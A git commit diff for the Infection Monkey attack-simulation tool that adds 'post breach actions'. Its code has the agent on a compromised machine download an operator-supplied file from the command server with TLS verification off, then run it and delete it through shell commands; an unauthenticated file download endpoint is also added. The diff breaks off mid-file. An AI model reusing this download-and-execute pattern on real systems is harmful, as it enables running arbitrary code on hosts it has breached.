Merge pull request #274 from VakarisZ/post_exploitation

Post exploitation
This commit is contained in:
Daniel Goldberg 2019-04-01 10:25:54 +03:00 committed by GitHub
commit 287f0ee6e3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
27 changed files with 1094 additions and 446 deletions

3
.gitignore vendored
View File

@ -68,3 +68,6 @@ bin
/monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.crt
/monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/ /monkey/monkey_island/cc/ui/node_modules/
# User files
/monkey/monkey_island/cc/userUploads

View File

@ -271,6 +271,10 @@ class Configuration(object):
extract_azure_creds = True extract_azure_creds = True
post_breach_actions = [] post_breach_actions = []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -101,4 +101,8 @@
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30, "victims_max_find": 30,
"post_breach_actions" : [] "post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
} }

View File

@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
__author__ = 'itamar' __author__ = 'itamar'
@ -116,6 +117,8 @@ class InfectionMonkey(object):
action = action_class() action = action_class()
action.act() action.act()
PostBreach().execute()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down")

View File

@ -0,0 +1,68 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -0,0 +1,68 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.name = name
def run(self, is_linux):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod
def _execute_default(command):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

@ -0,0 +1,83 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -27,7 +27,9 @@ from cc.resources.report import Report
from cc.resources.root import Root from cc.resources.root import Root
from cc.resources.telemetry import Telemetry from cc.resources.telemetry import Telemetry
from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.telemetry_feed import TelemetryFeed
from cc.resources.pba_file_download import PBAFileDownload
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.resources.pba_file_upload import FileUpload
__author__ = 'Barak' __author__ = 'Barak'
@ -116,6 +118,10 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
return app return app

View File

@ -0,0 +1,14 @@
import flask_restful
from flask import send_from_directory
from cc.resources.pba_file_upload import GET_FILE_DIR
__author__ = 'VakarisZ'
class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -0,0 +1,83 @@
import flask_restful
from flask import request, send_from_directory, Response
from cc.services.config import ConfigService
from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
from cc.auth import jwt_required
import os
from werkzeug.utils import secure_filename
import logging
import copy
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
GET_FILE_DIR = "./userUploads"
# Front end uses these strings to identify which files to work with (linux of windows)
LINUX_PBA_TYPE = 'PBAlinux'
WINDOWS_PBA_TYPE = 'PBAwindows'
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""
Sends file to filepond
:param file_type: Type indicates which file to send, linux or windows
:return: Returns file contents
"""
# Verify that file_name is indeed a file from config
if file_type == LINUX_PBA_TYPE:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
return send_from_directory(GET_FILE_DIR, filename)
@jwt_required()
def post(self, file_type):
"""
Receives user's uploaded file from filepond
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
response = Response(
response=filename,
status=200, mimetype='text/plain')
return response
@jwt_required()
def delete(self, file_type):
"""
Deletes file that has been deleted on the front end
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
filename = ConfigService.get_config_value(filename_path)
file_path = os.path.join(UPLOADS_DIR, filename)
try:
if os.path.exists(file_path):
os.remove(file_path)
ConfigService.set_config_value(filename_path, '')
except OSError as e:
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
return {}
@staticmethod
def upload_pba_file(request_, is_linux=True):
"""
Uploads PBA file to island's file system
:param request_: Request object containing PBA file
:param is_linux: Boolean indicating if this file is for windows or for linux
:return: filename string
"""
filename = secure_filename(request_.files['filepond'].filename)
file_path = os.path.join(UPLOADS_DIR, filename)
request_.files['filepond'].save(file_path)
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
return filename

View File

@ -10,6 +10,7 @@ from cc.services.config import ConfigService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.services.report import ReportService from cc.services.report import ReportService
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from cc.services.post_breach_files import remove_PBA_files
__author__ = 'Barak' __author__ = 'Barak'
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
@staticmethod @staticmethod
@jwt_required() @jwt_required()
def reset_db(): def reset_db():
remove_PBA_files()
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()

View File

@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
if len(credential) > 0: if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8')) attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
@staticmethod
def process_post_breach_telemetry(telemetry_json):
mongo.db.monkey.update(
{'guid': telemetry_json['monkey_guid']},
{'$push': {'pba_results': telemetry_json['data']}})
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
'exploit': Telemetry.process_exploit_telemetry, 'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry, 'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry 'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry
} }

View File

@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
def get_trace_telem_brief(telem): def get_trace_telem_brief(telem):
return 'Monkey reached max depth.' return 'Monkey reached max depth.'
@staticmethod
def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
telem['data']['hostname'],
telem['data']['ip'])
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
'exploit': TelemetryFeed.get_exploit_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief 'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
} }

View File

@ -4,6 +4,7 @@ import functools
import logging import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types from six import string_types
import cc.services.post_breach_files
from cc.database import mongo from cc.database import mongo
from cc.encryptor import encryptor from cc.encryptor import encryptor
@ -79,6 +80,12 @@ class ConfigService:
config = encryptor.dec(config) config = encryptor.dec(config)
return config return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
mongo.db.config.update({'name': 'newconfig'},
{"$set": {mongo_key: value}})
@staticmethod @staticmethod
def get_flat_config(is_initial_config=False, should_decrypt=True): def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt) config_json = ConfigService.get_config(is_initial_config, should_decrypt)
@ -138,6 +145,8 @@ class ConfigService:
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
cc.services.post_breach_files.set_config_PBA_files(config_json)
if should_encrypt: if should_encrypt:
try: try:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
@ -173,6 +182,7 @@ class ConfigService:
@staticmethod @staticmethod
def reset_config(): def reset_config():
cc.services.post_breach_files.remove_PBA_files()
config = ConfigService.get_default_config(True) config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False) ConfigService.update_config(config, should_encrypt=False)

View File

@ -313,6 +313,46 @@ SCHEMA = {
"title": "Behaviour", "title": "Behaviour",
"type": "object", "type": "object",
"properties": { "properties": {
"custom_PBA_linux_cmd": {
"title": "Linux post breach command",
"type": "string",
"default": "",
"description": "Linux command to be executed after breaching."
},
"PBA_linux_file": {
"title": "Linux post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Linux post breach command' field. "
"Reference your file by filename."
},
"custom_PBA_windows_cmd": {
"title": "Windows post breach command",
"type": "string",
"default": "",
"description": "Windows command to be executed after breaching."
},
"PBA_windows_file": {
"title": "Windows post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Windows post breach command' field. "
"Reference your file by filename."
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
"default": ""
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
"default": ""
},
"self_delete_in_cleanup": { "self_delete_in_cleanup": {
"title": "Self delete on cleanup", "title": "Self delete on cleanup",
"type": "boolean", "type": "boolean",

View File

@ -142,7 +142,8 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey), "group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey), "os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"], "dead": monkey["dead"],
"domain_name": "" "domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
} }
@staticmethod @staticmethod

View File

@ -0,0 +1,43 @@
import cc.services.config
import logging
import os
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
UPLOADS_DIR = 'monkey_island/cc/userUploads'
def remove_PBA_files():
if cc.services.config.ConfigService.get_config():
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
if linux_filename:
remove_file(linux_filename)
if windows_filename:
remove_file(windows_filename)
def remove_file(file_name):
file_path = os.path.join(UPLOADS_DIR, file_name)
try:
if os.path.exists(file_path):
os.remove(file_path)
except OSError as e:
logger.error("Can't remove previously uploaded post breach files: %s" % e)
def set_config_PBA_files(config_json):
"""
Sets PBA file info in config_json to current config's PBA file info values.
:param config_json: config_json that will be modified
"""
if cc.services.config.ConfigService.get_config():
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename

View File

@ -132,7 +132,8 @@ class ReportService:
(NodeService.get_displayed_node_by_id(edge['from'], True) (NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'], 'services': node['services'],
'domain_name': node['domain_name'] 'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
}) })
logger.info('Scanned nodes generated for reporting') logger.info('Scanned nodes generated for reporting')

File diff suppressed because it is too large Load Diff

View File

@ -68,6 +68,7 @@
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4", "js-file-download": "^0.4.4",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
@ -83,6 +84,7 @@
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^16.5.2", "react-dom": "^16.5.2",
"react-fa": "^5.0.0", "react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2", "react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0", "react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.5", "react-jsonschema-form": "^1.0.5",

View File

@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
super(props); super(props);
this.auth = new AuthService(); this.auth = new AuthService();
this.authFetch = this.auth.authFetch; this.authFetch = this.auth.authFetch;
this.jwtHeader = this.auth.jwtHeader();
} }
} }

View File

@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.state = { this.state = {
removePBAfiles: false,
completedSteps: { completedSteps: {
run_server: true, run_server: true,
run_monkey: false, run_monkey: false,
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
}; };
} }
// Sets the property that indicates if we need to remove PBA files from state or not
setRemovePBAfiles = (rmFiles) => {
this.setState({removePBAfiles: rmFiles});
};
componentDidMount() { componentDidMount() {
this.updateStatus(); this.updateStatus();
this.interval = setInterval(this.updateStatus, 5000); this.interval = setInterval(this.updateStatus, 5000);

View File

@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap'; import {Col, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download'; import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
class ConfigurePageComponent extends AuthComponent { class ConfigurePageComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic'; this.currentSection = 'basic';
this.currentFormData = {}; this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
// set schema from server // set schema from server
this.state = { this.state = {
schema: {}, schema: {},
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
lastAction: 'none', lastAction: 'none',
sections: [], sections: [],
selectedSection: 'basic', selectedSection: 'basic',
allMonkeysAreDead: true allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
}; };
} }
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
}; };
resetConfig = () => { resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island', this.authFetch('/api/configuration/island',
{ {
method: 'POST', method: 'POST',
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
removePBAfiles(){
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => { onReadFile = (event) => {
try { try {
this.setState({ this.setState({
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getWinPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAwinFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAwindowsPond = ref}
/>)
};
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getLinuxPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAlinuxPond = ref}
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
let pbaFile = [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
let pbaFile = [{
source: mockFile.name,
options: {
type: 'limbo'
}
}];
pbaFile[0].options.file = mockFile;
return pbaFile
}
render() { render() {
let displayedSchema = {}; let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) { if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions']; displayedSchema['definitions'] = this.state.schema['definitions'];
} }
return ( return (
<Col xs={12} lg={8}> <Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1> <h1 className="page-title">Monkey Configuration</h1>
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
} }
{ this.state.selectedSection ? { this.state.selectedSection ?
<Form schema={displayedSchema} <Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]} formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit} onSubmit={this.onSubmit}
onChange={this.onChange}> onChange={this.onChange}
noValidate={true}>
<div> <div>
{ this.state.allMonkeysAreDead ? { this.state.allMonkeysAreDead ?
'' : '' :
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
</div> </div>
: ''} : ''}
</div> </div>
</Col> </Col>
); );
} }

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Button, Col} from 'react-bootstrap'; import {Button, Col} from 'react-bootstrap';
import BreachedServers from 'components/report-components/BreachedServers'; import BreachedServers from 'components/report-components/BreachedServers';
import ScannedServers from 'components/report-components/ScannedServers'; import ScannedServers from 'components/report-components/ScannedServers';
import PostBreach from 'components/report-components/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords'; import StolenPasswords from 'components/report-components/StolenPasswords';
@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/> <BreachedServers data={this.state.report.glance.exploited}/>
</div> </div>
<div style={{marginBottom: '20px'}}>
<PostBreach data={this.state.report.glance.scanned}/>
</div>
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>

View File

@ -0,0 +1,82 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>;
};
let renderIpAddresses = function (val) {
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
};
let renderMachine = function (data) {
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
};
let renderPbaResults = function (results) {
let pbaClass = "";
if (results[1]){
pbaClass="pba-success"
} else {
pbaClass="pba-danger"
}
return <div className={pbaClass}> {results[0]} </div>
};
const subColumns = [
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'white-space': 'unset' }}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return <ReactTable
data={data}
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
style={{"background-color": "#ededed"}}
/>
};
const columns = [
{
Header: 'Post breach actions',
columns: [
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
]
}
];
const pageSize = 10;
class PostBreachComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let pbaMachines = this.props.data.filter(function(value, index, arr){
return ( value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={pbaMachines}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
SubComponent={row => {
return renderDetails(row.original.pba_results);
}}
/>
</div>
);
}
}
export default PostBreachComponent;

View File

@ -15,6 +15,12 @@ export default class AuthService {
return this._authFetch(url, options); return this._authFetch(url, options);
}; };
jwtHeader = () => {
if (this._loggedIn()) {
